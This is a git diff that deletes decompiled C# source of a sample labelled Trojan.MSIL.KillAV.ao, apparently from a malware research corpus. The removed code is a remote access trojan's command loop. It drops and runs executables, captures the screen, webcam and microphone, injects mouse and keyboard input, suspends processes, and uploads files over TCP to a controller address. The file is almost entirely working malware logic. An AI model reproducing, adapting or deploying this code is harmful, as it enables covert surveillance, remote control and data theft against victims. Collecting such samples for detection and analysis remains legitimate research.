++num62; } - if (num62 > 999) - goto label_247; - } - str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; -label_247: - string path = str83; - byte[] B = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local74 = ref flag; - byte[] bytes = API.ZIP(B, ref local74); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str83, - Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - } - else if (Operators.CompareString(Left1, "#30", false) == 0) - { - try - { - Array Instance44 = Instance1; - object[] objArray82 = new object[1]; - object[] objArray83 = objArray82; - int num63 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num63; - objArray83[0] = (object) local; - object[] Arguments = objArray82; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance44, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num63, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#31", false) == 0) - { - num1 = 0; - if (B.Busy) - return; - B.Busy = true; - B b = MyProject.Forms.B; - string str84 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height); - ref string local = ref str84; - b.SEND(ref local); - B.Busy = false; - } - else if (Operators.CompareString(Left1, "#32", false) == 0) - { - num1 = 0; - Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - IND.mouse_event(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), 0, 0, 0, 1); - } - else if (Operators.CompareString(Left1, "#33", false) == 0) - { - B b = MyProject.Forms.B; - string str85 = "#5" + IND.Y + API.Gt(); - ref string local = ref str85; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#34", false) == 0) - { - num1 = 0; - Array Instance45 = Instance1; - object[] objArray84 = new object[1]; - object[] objArray85 = objArray84; - int num64 = 1; - // ISSUE: variable of a boxed type - __Boxed local75 = (ValueType) num64; - objArray85[0] = (object) local75; - object[] Arguments = objArray84; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance45, Arguments, (string[]) null)); - ref int local76 = ref integer; - int num65 = 0; - ref int local77 = ref num65; - byte[] numArray = C.Capture1(ref local76, ref local77); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num64, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length != 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#35", false) == 0) - { - int num66 = checked (Instance1.Length - 1); - int num67 = 1; - while (num67 <= num66) - { - NTSuspendProcess.SuspendProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num67 - }, (string[]) null))); - checked { ++num67; } - } - } - else if (Operators.CompareString(Left1, "#36", false) == 0) - { - int num68 = checked (Instance1.Length - 1); - int num69 = 1; - while (num69 <= num68) - { - NTSuspendProcess.ResumeProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num69 - }, (string[]) null))); - checked { ++num69; } - } - } - else if (Operators.CompareString(Left1, "#37", false) == 0) - { - try - { - Cam cam = new Cam(); - B b = MyProject.Forms.B; - string str86 = "#22" + IND.Y; - string s = cam.Dnames(); - string str87 = API.ENB(ref s); - string str88 = Conversions.ToString(Operators.ConcatenateObject((object) (str86 + str87 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - ref string local = ref str88; - b.SEND(ref local); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#38", false) == 0) - { - IND.bz = true; - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null), (object) 1, false)) - num1 = -2; - Cam cam = new Cam(); - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - Image image = cam.cap(ref integer); - MemoryStream memoryStream1 = new MemoryStream(); - image.Save((Stream) memoryStream1, ImageFormat.Jpeg); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))), 0, MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))).Length); - memoryStream2.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length); - cam.dispose(); - MyProject.Forms.B.WC.SendData(memoryStream2.ToArray()); - } - else if (Operators.CompareString(Left1, "#39", false) == 0) - { - bool flag = false; - while (true) - { - num2 = 39; - try - { - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("sapi.spvoice")); - NewLateBinding.LateSet(objectValue, (System.Type) null, "rate", new object[1] - { - RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null); - object Instance46 = objectValue; - object[] objArray86 = new object[1]; - object[] objArray87 = objArray86; - Array Instance47 = Instance1; - object[] objArray88 = new object[1]; - object[] objArray89 = objArray88; - int num70 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num70; - objArray89[0] = (object) local; - object[] Arguments19 = objArray88; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance47, Arguments19, (string[]) null)); - string str89 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num70, - (object) s - }, (string[]) null, true, false); - objArray87[0] = (object) str89; - object[] Arguments20 = objArray86; - NewLateBinding.LateCall(Instance46, (System.Type) null, "Speak", Arguments20, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - if (!flag) - { - flag = true; - ProjectData.ClearProjectError(); - } - else - { - ProjectData.ClearProjectError(); - break; - } - } - } - } - else if (Operators.CompareString(Left1, "#40", false) == 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, checked (NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length), checked (Da.Length - NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length)); - Audio audio = MyProject.Computer.Audio; - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] data = API.ZIP(array, ref local); - audio.Play(data, AudioPlayMode.Background); - } - else if (Operators.CompareString(Left1, "#41", false) == 0) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null), (object) "#41", false)) - { - string str90 = "open new Type waveaudio Alias recsound"; - ref string local78 = ref str90; - string str91 = ""; - ref string local79 = ref str91; - IND.mciSendString(ref local78, ref local79, 0, 0); - string str92 = "record recsound"; - ref string local80 = ref str92; - str91 = ""; - ref string local81 = ref str91; - IND.mciSendString(ref local80, ref local81, 0, 0); - Thread.Sleep(5000); - string str93 = "save recsound " + IND.TM + "rq"; - ref string local82 = ref str93; - str91 = ""; - ref string local83 = ref str91; - IND.mciSendString(ref local82, ref local83, 0, 0); - string str94 = "close recsound"; - ref string local84 = ref str94; - str91 = ""; - ref string local85 = ref str91; - IND.mciSendString(ref local84, ref local85, 0, 0); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(MyProject.Forms.B.WC.STB("#25" + IND.Y), 0, MyProject.Forms.B.WC.STB("#25" + IND.Y).Length); - byte[] B = File.ReadAllBytes(IND.TM + "rq"); - bool flag = true; - ref bool local86 = ref flag; - byte[] buffer = API.ZIP(B, ref local86); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#42", false) == 0) - { - num1 = 6; - new IND.UL() - { - sock = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - F = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), - idx = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)) - }.start(); - } - else if (Operators.CompareString(Left1, "#43", false) == 0) - { - num1 = 0; - Array Instance48 = Instance1; - object[] objArray90 = new object[1]; - object[] objArray91 = objArray90; - int num71 = 1; - // ISSUE: variable of a boxed type - __Boxed local87 = (ValueType) num71; - objArray91[0] = (object) local87; - object[] Arguments21 = objArray90; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance48, Arguments21, (string[]) null)); - string str95 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num71, - (object) s - }, (string[]) null, true, false); - string str96 = str95; - ref string local88 = ref str96; - Array Instance49 = Instance1; - object[] objArray92 = new object[1]; - object[] objArray93 = objArray92; - int num72 = 2; - // ISSUE: variable of a boxed type - __Boxed local89 = (ValueType) num72; - objArray93[0] = (object) local89; - object[] Arguments22 = objArray92; - int integer7 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance49, Arguments22, (string[]) null)); - ref int local90 = ref integer7; - Array Instance50 = Instance1; - object[] objArray94 = new object[1]; - object[] objArray95 = objArray94; - int num73 = 3; - // ISSUE: variable of a boxed type - __Boxed local91 = (ValueType) num73; - objArray95[0] = (object) local91; - object[] Arguments23 = objArray94; - int integer8 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance50, Arguments23, (string[]) null)); - ref int local92 = ref integer8; - Array Instance51 = Instance1; - object[] objArray96 = new object[1]; - object[] objArray97 = objArray96; - int num74 = 4; - // ISSUE: variable of a boxed type - __Boxed local93 = (ValueType) num74; - objArray97[0] = (object) local93; - object[] Arguments24 = objArray96; - int integer9 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance51, Arguments24, (string[]) null)); - ref int local94 = ref integer9; - IND.DrawScreen(ref local88, ref local90, ref local92, ref local94); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num74, - (object) integer9 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num73, - (object) integer8 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num72, - (object) integer7 - }, (string[]) null, true, false); - } - else if (Operators.CompareString(Left1, "#44", false) == 0) - keyboard.click(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), (Keys) Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - } - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - Exception exception = ex; - IND.bz = false; - B.Busy = false; - if (num1 == -1) - { - ProjectData.ClearProjectError(); - return; - } - if (num1 == -2) - { - ProjectData.ClearProjectError(); - return; - } - ref int local95 = ref num1; - string message = exception.Message; - ref string local96 = ref message; - IND.sdEr(ref local95, ref local96); - ProjectData.ClearProjectError(); - } -label_300: - IND.bz = false; - } - - public static void DrawScreen(ref string Text, ref int CLR, ref int Size, ref int sec) - { - Font font = new Font("arial", (float) Size); - int integer = Conversions.ToInteger(Conversions.ToString(sec) + Conversions.ToString(0) + Conversions.ToString(0) + Conversions.ToString(0)); - int num = 0; - while (num <= integer) - { - Thread.Sleep(10); - Graphics.FromHdc((IntPtr) IND.GetDC(0)).DrawString(Text, font, (Brush) new SolidBrush(System.Drawing.Color.FromArgb(CLR)), 0.0f, 0.0f); - checked { num += 100; } - } - } - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int GetDC(int hWnd); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int ReleaseDC(int hWnd, int hDC); - - public static void sdEr(ref int Er, ref string T) - { - B b = MyProject.Forms.B; - string str = "#10" + IND.Y + "^" + Conversions.ToString(Er) + IND.Y + API.ENB(ref T); - ref string local = ref str; - b.SEND(ref local); - } - - [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int mciSendString( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrCommand, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrReturnString, - int uReturnLength, - int hwndCallback); - - public static string siz(string Size) - { - if (Size.Length < 4) - return Size + " Bytes"; - string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0); - string str2 = " KB"; - int integer; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " MB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " GB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - return str1 + "." + Conversions.ToString(integer) + str2; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void mouse_event( - int dwFlags, - int dx, - int dy, - int cButtons, - int dwExtraInfo); - - public static byte[] SB(ref string s, ref byte[] B) - { - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes = Encoding.Default.GetBytes(s); - memoryStream.Write(bytes, 0, bytes.Length); - byte[] B1 = B; - bool flag = true; - ref bool local = ref flag; - byte[] buffer = API.ZIP(B1, ref local); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - - public delegate void indd(string T); - - public class UL - { - public int idx; - public string F; - public int sock; - private TcpClient k; - public int PZ; - private byte[] bb; - private int fz; - private int sd; - private bool rc; - - public UL() - { - this.k = new TcpClient(); - this.PZ = -1; - this.rc = false; - } - - public void R() - { - try - { - this.fz = checked ((int) FileSystem.FileLen(API.DEB(ref this.F))); - byte[] buffer = MyProject.Forms.B.WC.STB("#26" + IND.Y + Conversions.ToString(this.sock) + IND.Y + this.F + IND.Y + Conversions.ToString(this.fz) + IND.Y + Conversions.ToString(this.idx) + "nj-q8"); - this.k.Client.Send(buffer, buffer.Length, SocketFlags.None); - do - { - Thread.Sleep(1); - } - while (this.k.Client.Available <= 0); - byte[] numArray = new byte[checked (this.k.Client.Available + 1)]; - this.k.Client.Receive(numArray, numArray.Length, SocketFlags.None); - this.PZ = Conversions.ToInteger(MyProject.Forms.B.WC.BTS(numArray).Replace("nj-q8", "")); - if (this.PZ != -1) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(this.bb, this.PZ, checked (this.bb.Length - this.PZ)); - this.k.Client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - } - try - { - this.k.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.bb = (byte[]) null; - this.rc = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void start() - { - try - { - this.bb = File.ReadAllBytes(API.DEB(ref this.F)); - this.k.Client.ReceiveBufferSize = 999999; - this.k.Client.SendBufferSize = 999999; - this.k.Client.ReceiveTimeout = -1; - this.k.Client.SendTimeout = -1; - this.k.Client.Connect(B.no.Split(':')[0], Conversions.ToInteger(B.no.Split(':')[1])); - new Thread(new ThreadStart(this.R)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs deleted file mode 100644 index 23e82023..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyApplication -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs deleted file mode 100644 index 031b3c25..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyComputer -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace n.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs deleted file mode 100644 index 9c1cb757..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs +++ /dev/null @@ -1,225 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyProject -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public B m_B; - public chat m_chat; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public B B - { - get - { - this.m_B = MyProject.MyForms.Create__Instance__(this.m_B); - return this.m_B; - } - set - { - if (value == this.m_B) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_B); - } - } - - public chat chat - { - get - { - this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat); - return this.m_chat; - } - set - { - if (value == this.m_chat) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_chat); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs deleted file mode 100644 index 56e613f3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettings -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.CodeDom.Compiler; 